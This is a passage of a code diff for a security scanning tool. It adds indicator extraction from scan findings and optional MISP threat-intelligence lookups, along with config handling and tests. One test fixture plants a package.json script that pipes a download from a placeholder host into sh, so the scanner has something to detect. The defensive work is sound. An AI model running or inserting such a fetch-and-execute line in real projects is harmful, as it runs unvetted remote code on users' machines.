| None: raise ValueError("suppression_reasons entries must be string = string") if fingerprint.strip() and reason.strip(): suppression_reasons[fingerprint.strip()] = reason.strip() + enrichment = _parse_enrichment_config(data.get("enrichment", {})) return SecurityConfig( policy=policy, fail_on=fail_on, include_templates=include_templates, suppressions=suppressions, suppression_reasons=suppression_reasons, + enrichment=enrichment, + ) + + +def _parse_enrichment_config(raw: object) -> SecurityEnrichmentConfig: + if raw in ({}, None): + return SecurityEnrichmentConfig() + if not isinstance(raw, dict): + raise ValueError("enrichment must be a table") + provider = raw.get("provider") + if provider is not None: + if not isinstance(provider, str) or provider not in ENRICHMENT_PROVIDERS: + raise ValueError("enrichment.provider must be one of: local, misp") + misp_url = raw.get("misp_url") + if misp_url is not None and not isinstance(misp_url, str): + raise ValueError("enrichment.misp_url must be a string") + misp_api_key_env = raw.get("misp_api_key_env", "MISP_API_KEY") + if not isinstance(misp_api_key_env, str) or not misp_api_key_env.strip(): + raise ValueError("enrichment.misp_api_key_env must be a non-empty string") + timeout_seconds = raw.get("timeout_seconds", 10) + if not isinstance(timeout_seconds, int) or timeout_seconds <= 0: + raise ValueError("enrichment.timeout_seconds must be a positive integer") + cache_path = raw.get("cache_path", ".brigade/security/enrichment-cache.json") + if not isinstance(cache_path, str) or not cache_path.strip(): + raise ValueError("enrichment.cache_path must be a non-empty relative path") + cache = Path(cache_path) + if cache.is_absolute() or ".." in cache.parts: + raise ValueError("enrichment.cache_path must be relative and must not contain '..'") + return SecurityEnrichmentConfig( + provider=provider, + misp_url=misp_url.strip() if isinstance(misp_url, str) and misp_url.strip() else None, + misp_api_key_env=misp_api_key_env.strip(), + timeout_seconds=timeout_seconds, + cache_path=cache_path.strip(), ) @@ -285,6 +342,13 @@ def write_default_config(target: Path, *, force: bool = False) -> Path: "", "[suppression_reasons]", "", + "[enrichment]", + 'provider = "local"', + 'misp_url = ""', + 'misp_api_key_env = "MISP_API_KEY"', + "timeout_seconds = 10", + 'cache_path = ".brigade/security/enrichment-cache.json"', + "", ] ) ) @@ -299,6 +363,7 @@ def write_config(target: Path, config: SecurityConfig) -> Path: path = config_path(target.expanduser().resolve()) path.parent.mkdir(parents=True, exist_ok=True) fingerprints = ", ".join(_toml_string(item) for item in config.suppressions) + enrichment = config.enrichment lines = [ f"policy = {_toml_string(config.policy)}", f"fail_on = {_toml_string(config.fail_on or POLICIES[config.policy]['fail_on'])}", @@ -314,6 +379,17 @@ def write_config(target: Path, config: SecurityConfig) -> Path: reason = reasons.get(fingerprint) if reason: lines.append(f"{fingerprint} = {_toml_string(reason)}") + lines.extend( + [ + "", + "[enrichment]", + f"provider = {_toml_string(enrichment.provider or 'local')}", + f"misp_url = {_toml_string(enrichment.misp_url or '')}", + f"misp_api_key_env = {_toml_string(enrichment.misp_api_key_env)}", + f"timeout_seconds = {enrichment.timeout_seconds}", + f"cache_path = {_toml_string(enrichment.cache_path)}", + ] + ) lines.append("") path.write_text("\n".join(lines)) return path @@ -375,6 +451,11 @@ def fix(*, target: Path, dry_run: bool = False) -> int: def _load_report(output_dir: Path) -> dict[str, Any]: path = output_dir.expanduser().resolve() / "security-report.json" + return _load_report_file(path) + + +def _load_report_file(path: Path) -> dict[str, Any]: + path = path.expanduser().resolve() if not path.is_file(): raise FileNotFoundError(path) data = json.loads(path.read_text()) @@ -442,6 +523,9 @@ def review(*, target: Path, output_dir: Path | None = None, json_output: bool = "open_count": len([item for item in records if item.get("status") != "suppressed"]), "suppressed_count": len([item for item in records if item.get("status") == "suppressed"]), } + enrichment = _load_enrichment_payload(artifacts_dir) + if enrichment is not None: + payload["enrichment"] = enrichment if json_output: print(json.dumps(payload, indent=2, sort_keys=True)) return 0 @@ -465,9 +549,403 @@ def review(*, target: Path, output_dir: Path | None = None, json_output: bool = if finding.get("reason"): print(f" reason: {finding['reason']}") print(f" suggestion: {finding.get('suggestion')}") + if enrichment is not None: + print("enrichment:") + print(f"- provider: {enrichment.get('provider')}") + print(f"- indicators: {enrichment.get('indicator_count')}") + print(f"- hits: {enrichment.get('hit_count')}") return 0 +def _load_enrichment_payload(output_dir: Path) -> dict[str, Any] | None: + path = output_dir.expanduser().resolve() / "security-enrichment.json" + if not path.is_file(): + return None + try: + data = json.loads(path.read_text()) + except json.JSONDecodeError: + return {"ready": False, "path": str(path), "reason": "invalid JSON"} + if not isinstance(data, dict): + return {"ready": False, "path": str(path), "reason": "security-enrichment.json must contain an object"} + return data + + +def _indicator_source(finding: dict[str, Any]) -> dict[str, Any]: + return { + "fingerprint": finding.get("fingerprint"), + "title": finding.get("title"), + "path": finding.get("path"), + "line": finding.get("line"), + "category": finding.get("category"), + } + + +def _add_indicator( + indicators: list[dict[str, Any]], + seen: set[tuple[str, str]], + *, + kind: str, + value: str, + finding: dict[str, Any], +) -> None: + value = value.strip().strip(".,);]") + if not value: + return + key = (kind, value.lower()) + if key in seen: + for indicator in indicators: + if indicator["type"] == kind and indicator["value"].lower() == value.lower(): + indicator["sources"].append(_indicator_source(finding)) + return + seen.add(key) + indicators.append({"type": kind, "value": value, "sources": [_indicator_source(finding)]}) + + +def _extract_enrichment_indicators(report: dict[str, Any]) -> list[dict[str, Any]]: + indicators: list[dict[str, Any]] = [] + seen: set[tuple[str, str]] = set() + for finding in list(report.get("findings", [])) + list(report.get("suppressed_findings", [])): + if not isinstance(finding, dict): + continue + evidence = str(finding.get("evidence") or "") + title = str(finding.get("title") or "") + for match in INDICATOR_URL_RE.finditer(evidence): + url = match.group(0) + _add_indicator(indicators, seen, kind="url", value=url, finding=finding) + parsed = urlparse(url) + if parsed.hostname: + _add_indicator(indicators, seen, kind="domain", value=parsed.hostname.lower(), finding=finding) + npx_match = INDICATOR_NPX_RE.search(evidence) + if npx_match: + _add_indicator(indicators, seen, kind="npm-package", value=npx_match.group(1), finding=finding) + action_match = INDICATOR_GITHUB_ACTION_RE.search(evidence) + if action_match and "GitHub Action" in title: + _add_indicator(indicators, seen, kind="github-action", value=action_match.group(1), finding=finding) + return indicators + + +def _local_enrich(indicators: list[dict[str, Any]]) -> list[dict[str, Any]]: + results: list[dict[str, Any]] = [] + for indicator in indicators: + results.append( + { + "provider": "local", + "type": indicator["type"], + "value": indicator["value"], + "status": "observed", + "match_count": 0, + "cache_hit": False, + "summary": "Observed in the local security report; no external lookup was performed.", + "source_fingerprints": [source.get("fingerprint") for source in indicator["sources"] if source.get("fingerprint")], + } + ) + return results + + +def _cache_file(target: Path, config: SecurityEnrichmentConfig) -> Path: + return target / config.cache_path + + +def _read_enrichment_cache(path: Path) -> dict[str, Any]: + if not path.is_file(): + return {} + try: + data = json.loads(path.read_text()) + except json.JSONDecodeError: + return {} + return data if isinstance(data, dict) else {} + + +def _write_enrichment_cache(path: Path, cache: dict[str, Any]) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(json.dumps(cache, indent=2, sort_keys=True) + "\n") + + +def _misp_query_indicator( + *, + base_url: str, + api_key: str, + timeout_seconds: int, + indicator: dict[str, Any], +) -> dict[str, Any]: + endpoint = base_url.rstrip("/") + "/attributes/restSearch" + body = json.dumps({"returnFormat": "json", "value": indicator["value"]}).encode() + req = urlrequest.Request( + endpoint, + data=body, + headers={ + "Authorization": api_key, + "Accept": "application/json", + "Content-Type": "application/json", + }, + method="POST", + ) + with urlrequest.urlopen(req, timeout=timeout_seconds) as response: + raw = response.read().decode("utf-8", errors="replace") + payload = json.loads(raw) if raw.strip() else {} + attributes = _misp_attributes(payload) + tags = sorted( + { + str(tag.get("name")) + for attribute in attributes + if isinstance(attribute, dict) + for tag in attribute.get("Tag", []) + if isinstance(tag, dict) and tag.get("name") + } + ) + return { + "provider": "misp", + "type": indicator["type"], + "value": indicator["value"], + "status": "hit" if attributes else "miss", + "match_count": len(attributes), + "tags": tags[:10], + "cache_hit": False, + "summary": f"MISP returned {len(attributes)} attribute match(es).", + "source_fingerprints": [source.get("fingerprint") for source in indicator["sources"] if source.get("fingerprint")], + } + + +def _misp_attributes(payload: object) -> list[dict[str, Any]]: + if isinstance(payload, dict): + response = payload.get("response", payload) + if isinstance(response, dict): + attributes = response.get("Attribute", []) + return [item for item in attributes if isinstance(item, dict)] if isinstance(attributes, list) else [] + if isinstance(response, list): + return [item for item in response if isinstance(item, dict)] + return [] + + +def _misp_enrich(target: Path, config: SecurityEnrichmentConfig, indicators: list[dict[str, Any]]) -> list[dict[str, Any]]: + if not config.misp_url: + raise ValueError("enrichment.misp_url is required when provider is misp") + api_key = os.environ.get(config.misp_api_key_env) + if not api_key: + raise ValueError(f"environment variable {config.misp_api_key_env} is required when provider is misp") + cache_path = _cache_file(target, config) + cache = _read_enrichment_cache(cache_path) + results: list[dict[str, Any]] = [] + changed = False + for indicator in indicators: + cache_key = f"misp:{indicator['type']}:{indicator['value'].lower()}" + cached = cache.get(cache_key) + if isinstance(cached, dict): + result = dict(cached) + result["cache_hit"] = True + results.append(result) + continue + try: + result = _misp_query_indicator( + base_url=config.misp_url, + api_key=api_key, + timeout_seconds=config.timeout_seconds, + indicator=indicator, + ) + except (OSError, urlerror.URLError, json.JSONDecodeError) as exc: + result = { + "provider": "misp", + "type": indicator["type"], + "value": indicator["value"], + "status": "error", + "match_count": 0, + "cache_hit": False, + "summary": f"MISP lookup failed: {exc}", + "source_fingerprints": [source.get("fingerprint") for source in indicator["sources"] if source.get("fingerprint")], + } + cache[cache_key] = result + changed = True + results.append(result) + if changed: + _write_enrichment_cache(cache_path, cache) + return results + + +def _render_enrichment_markdown(payload: dict[str, Any]) -> str: + lines = [ + "# Brigade Security Enrichment", + "", + f"- provider: `{payload['provider']}`", + f"- generated_at: `{payload['generated_at']}`", + f"- report: `{payload['report']}`", + f"- indicators: `{payload['indicator_count']}`", + f"- hits: `{payload['hit_count']}`", + f"- errors: `{payload['error_count']}`", + "", + "## Results", + "", + ] + if not payload["results"]: + lines.append("No enrichment indicators were extracted.") + for result in payload["results"]: + lines.extend( + [ + f"### {result['type']} - {result['value']}", + "", + f"- status: `{result['status']}`", + f"- matches: `{result['match_count']}`", + f"- cache_hit: `{result.get('cache_hit', False)}`", + f"- summary: {result['summary']}", + "", + ] + ) + return "\n".join(lines).rstrip() + "\n" + + +def _render_enrichment_summary(payload: dict[str, Any]) -> str: + return "\n".join( + [ + ENRICHMENT_MARKDOWN_START, + "## Enrichment", + "", + f"- provider: `{payload['provider']}`", + f"- generated_at: `{payload['generated_at']}`", + f"- indicators: `{payload['indicator_count']}`", + f"- hits: `{payload['hit_count']}`", + f"- errors: `{payload['error_count']}`", + f"- details: `security-enrichment.md`", + ENRICHMENT_MARKDOWN_END, + "", + ] + ) + + +def _upsert_report_enrichment_summary(output_dir: Path, payload: dict[str, Any]) -> None: + report_markdown = output_dir / "security-report.md" + if not report_markdown.is_file(): + return + existing = report_markdown.read_text() + summary = _render_enrichment_summary(payload) + start = existing.find(ENRICHMENT_MARKDOWN_START) + end = existing.find(ENRICHMENT_MARKDOWN_END) + if start != -1 and end != -1 and end > start: + end += len(ENRICHMENT_MARKDOWN_END) + updated = existing[:start].rstrip() + "\n\n" + summary + existing[end:].lstrip() + else: + updated = existing.rstrip() + "\n\n" + summary + report_markdown.write_text(updated) + + +def write_enrichment_bundle(payload: dict[str, Any], output_dir: Path) -> Path: + output_dir = output_dir.expanduser().resolve() + output_dir.mkdir(parents=True, exist_ok=True) + payload = dict(payload) + payload["artifacts"] = str(output_dir) + (output_dir / "security-enrichment.json").write_text(json.dumps(payload, indent=2, sort_keys=True) + "\n") + (output_dir / "security-enrichment.md").write_text(_render_enrichment_markdown(payload)) + _upsert_report_enrichment_summary(output_dir, payload) + return output_dir + + +def enrichment_health(target: Path) -> dict[str, Any]: + target = target.expanduser().resolve() + config = load_config(target) + if config is None: + return {"configured": False, "provider": None, "status": "missing config"} + provider = config.enrichment.provider + if not provider: + return {"configured": False, "provider": None, "status": "missing provider"} + if provider == "local": + return {"configured": True, "provider": provider, "status": "offline local provider"} + if provider == "misp": + missing = [] + if not config.enrichment.misp_url: + missing.append("misp_url") + if not os.environ.get(config.enrichment.misp_api_key_env): + missing.append(config.enrichment.misp_api_key_env) + return { + "configured": not missing, + "provider": provider, + "status": "ready" if not missing else f"missing {', '.join(missing)}", + } + return {"configured": False, "provider": provider, "status": "unsupported provider"} + + +def enrich( + *, + target: Path, + output_dir: Path | None = None, + report_path: Path | None = None, + provider: str | None = None, + json_output: bool = False, +) -> int: + target = target.expanduser().resolve() + if not target.is_dir(): + print(f"error: --target is not a directory: {target}", file=sys.stderr) + return 2 + artifacts_dir = output_dir.expanduser().resolve() if output_dir is not None else default_artifacts_dir(target) + report_file = report_path.expanduser().resolve() if report_path is not None else artifacts_dir / "security-report.json" + try: + loaded = load_config(target) + except ValueError as exc: + print(f"error: invalid security config: {exc}", file=sys.stderr) + return 2 + config = loaded.enrichment if loaded is not None else SecurityEnrichmentConfig() + provider_name = provider or config.provider + if provider_name is None: + print( + "error: security enrichment provider is not configured; run `brigade security init` or pass `--provider local`", + file=sys.stderr, + ) + return 2 + if provider_name not in ENRICHMENT_PROVIDERS: + print("error: --provider must be one of: local, misp", file=sys.stderr) + return 2 + if provider is not None: + config = SecurityEnrichmentConfig( + provider=provider, + misp_url=config.misp_url, + misp_api_key_env=config.misp_api_key_env, + timeout_seconds=config.timeout_seconds, + cache_path=config.cache_path, + ) + try: + report = _load_report_file(report_file) + except FileNotFoundError as exc: + print(f"error: security report not found: {exc}", file=sys.stderr) + return 2 + except (ValueError, json.JSONDecodeError) as exc: + print(f"error: invalid security report: {exc}", file=sys.stderr) + return 2 + + indicators = _extract_enrichment_indicators(report) + try: + if provider_name == "local": + results = _local_enrich(indicators) + else: + results = _misp_enrich(target, config, indicators) + except ValueError as exc: + print(f"error: {exc}", file=sys.stderr) + return 2 + + payload = { + "target": str(target), + "report": str(report_file), + "provider": provider_name, + "generated_at": _utc_iso(), + "indicator_count": len(indicators), + "result_count": len(results), + "hit_count": len([item for item in results if item.get("status") == "hit"]), + "error_count": len([item for item in results if item.get("status") == "error"]), + "indicators": indicators, + "results": results, + } + artifacts_path = write_enrichment_bundle(payload, artifacts_dir) + payload["artifacts"] = str(artifacts_path) + + if json_output: + print(json.dumps(payload, indent=2, sort_keys=True)) + else: + print(f"security enrich: {target}") + print(f"provider: {provider_name}") + print(f"report: {report_file}") + print(f"artifacts: {artifacts_path}") + print(f"indicators: {payload['indicator_count']}") + print(f"hits: {payload['hit_count']}") + print(f"errors: {payload['error_count']}") + return 1 if payload["error_count"] else 0 + + def suppress(*, target: Path, fingerprint: str, reason: str) -> int: target = target.expanduser().resolve() if not target.is_dir(): @@ -499,6 +977,7 @@ def suppress(*, target: Path, fingerprint: str, reason: str) -> int: include_templates=config.include_templates, suppressions=tuple(suppressions), suppression_reasons=reasons, + enrichment=config.enrichment, ), ) print(f"security_config: {path}") @@ -535,6 +1014,7 @@ def unsuppress(*, target: Path, fingerprint: str) -> int: include_templates=config.include_templates, suppressions=suppressions, suppression_reasons=reasons, + enrichment=config.enrichment, ), ) print(f"security_config: {path}") diff --git a/src/brigade/work_cmd.py b/src/brigade/work_cmd.py index 85a8b46e..95a30ea0 100644 --- a/src/brigade/work_cmd.py +++ b/src/brigade/work_cmd.py @@ -2274,6 +2274,12 @@ def doctor(*, target: Path) -> int: else: policy = loaded_security.policy if loaded_security is not None else "personal" _doctor_line(OK, "security_config", f"{security_config} (policy={policy})") + enrichment = security_cmd.enrichment_health(effective_target) + _doctor_line( + OK if enrichment.get("configured") else WARN, + "security_enrichment", + f"{enrichment.get('provider') or 'none'} ({enrichment.get('status')})", + ) else: _doctor_line(WARN, "security_config", f"missing, run `brigade security init --target {effective_target}`") diff --git a/tests/test_doctor.py b/tests/test_doctor.py index b575634f..e31b0b66 100644 --- a/tests/test_doctor.py +++ b/tests/test_doctor.py @@ -108,6 +108,36 @@ def test_doctor_warns_on_stale_security_suppressions(tmp_target: Path, capsys): assert "security: suppression reasons" in out +def test_doctor_warns_on_misconfigured_security_enrichment(tmp_target: Path, capsys): + install_selection( + tmp_target, + Selection(depth="workspace", harnesses=["claude"], owner="claude", includes=[]), + ) + security_config = tmp_target / ".brigade" / "security.toml" + security_config.parent.mkdir(exist_ok=True) + security_config.write_text( + "\n".join( + [ + 'policy = "personal"', + 'fail_on = "critical"', + "include_templates = false", + "", + "[enrichment]", + 'provider = "misp"', + 'misp_url = ""', + 'misp_api_key_env = "BRIGADE_TEST_MISP_KEY"', + "", + ] + ) + ) + + rc = doctor_mod.run(target=tmp_target, harness="generic") + out = capsys.readouterr().out + assert rc == 0 + assert "security: enrichment" in out + assert "missing misp_url" in out + + def test_doctor_fails_when_bootstrap_file_exceeds_budget(tmp_target: Path, capsys): install_selection( tmp_target, diff --git a/tests/test_security_cmd.py b/tests/test_security_cmd.py index 5fb67437..14038190 100644 --- a/tests/test_security_cmd.py +++ b/tests/test_security_cmd.py @@ -269,6 +269,12 @@ def test_security_init_writes_gitignored_local_config(tmp_path, capsys): config = tmp_path / ".brigade" / "security.toml" assert config.is_file() assert 'policy = "personal"' in config.read_text() + assert "[enrichment]" in config.read_text() + assert 'provider = "local"' in config.read_text() + loaded = security_cmd.load_config(tmp_path) + assert loaded is not None + assert loaded.enrichment.provider == "local" + assert loaded.enrichment.misp_api_key_env == "MISP_API_KEY" assert security_cmd.init(target=tmp_path) == 1 assert "already exists" in capsys.readouterr().err @@ -344,6 +350,84 @@ def test_security_scan_writes_redacted_evidence_bundle(tmp_path, capsys): assert "abcd1234" not in markdown +def test_security_enrich_writes_local_enrichment_bundle(tmp_path, capsys): + security_cmd.init(target=tmp_path) + capsys.readouterr() + (tmp_path / "package.json").write_text( + json.dumps({"scripts": {"bootstrap": "curl https://example.invalid/install.sh | sh", "tool": "npx some-tool"}}) + ) + output_dir = tmp_path / ".brigade" / "security" / "latest" + assert security_cmd.scan(target=tmp_path, fail_on="none", output_dir=output_dir) == 0 + capsys.readouterr() + + assert security_cmd.enrich(target=tmp_path, output_dir=output_dir, json_output=True) == 0 + payload = json.loads(capsys.readouterr().out) + assert payload["provider"] == "local" + assert payload["indicator_count"] >= 3 + assert payload["hit_count"] == 0 + assert {item["type"] for item in payload["indicators"]} >= {"url", "domain", "npm-package"} + assert (output_dir / "security-enrichment.json").is_file() + assert (output_dir / "security-enrichment.md").is_file() + assert "## Enrichment" in (output_dir / "security-report.md").read_text() + + assert security_cmd.review(target=tmp_path, output_dir=output_dir, json_output=True) == 0 + review_payload = json.loads(capsys.readouterr().out) + assert review_payload["enrichment"]["provider"] == "local" + + +def test_security_enrich_requires_provider_config(tmp_path, capsys): + report_dir = tmp_path / ".brigade" / "security" / "latest" + report_dir.mkdir(parents=True) + (report_dir / "security-report.json").write_text(json.dumps({"findings": [], "suppressed_findings": []})) + + assert security_cmd.enrich(target=tmp_path, output_dir=report_dir) == 2 + assert "provider is not configured" in capsys.readouterr().err + + +def test_security_enrich_misp_requires_config_and_env(tmp_path, capsys): + config = tmp_path / ".brigade" / "security.toml" + config.parent.mkdir(parents=True) + config.write_text( + "\n".join( + [ + 'policy = "personal"', + 'fail_on = "critical"', + "include_templates = false", + "", + "[enrichment]", + 'provider = "misp"', + 'misp_url = "https://misp.example.invalid"', + 'misp_api_key_env = "BRIGADE_TEST_MISP_KEY"', + "timeout_seconds = 3", + 'cache_path = ".brigade/security/enrichment-cache.json"', + "", + ] + ) + ) + report_dir = tmp_path / ".brigade" / "security" / "latest" + report_dir.mkdir(parents=True) + (report_dir / "security-report.json").write_text( + json.dumps( + { + "findings": [ + { + "fingerprint": "0123456789abcdef", + "title": "Remote MCP transport", + "category": "mcp", + "path": ".codex/mcp.json", + "line": 1, + "evidence": "remote: url=https://example.invalid/mcp", + } + ], + "suppressed_findings": [], + } + ) + ) + + assert security_cmd.enrich(target=tmp_path, output_dir=report_dir) == 2 + assert "BRIGADE_TEST_MISP_KEY" in capsys.readouterr().err + + def test_security_scan_cli(tmp_path, monkeypatch): seen = {} @@ -395,6 +479,41 @@ def fake_review(**kwargs): assert seen == {"target": tmp_path, "output_dir": tmp_path / "out", "json_output": True} +def test_security_enrich_cli(tmp_path, monkeypatch): + seen = {} + + def fake_enrich(**kwargs): + seen.update(kwargs) + return 0 + + monkeypatch.setattr(security_cmd, "enrich", fake_enrich) + assert ( + cli.main( + [ + "security", + "enrich", + "--target", + str(tmp_path), + "--output-dir", + str(tmp_path / "out"), + "--report", + str(tmp_path / "report.json"), + "--provider", + "local", + "--json", + ] + ) + == 0 + ) + assert seen == { + "target": tmp_path, + "output_dir": tmp_path / "out", + "report_path": tmp_path / "report.json", + "provider": "local", + "json_output": True, + } + + def test_security_suppress_cli(tmp_path, monkeypatch): seen = {}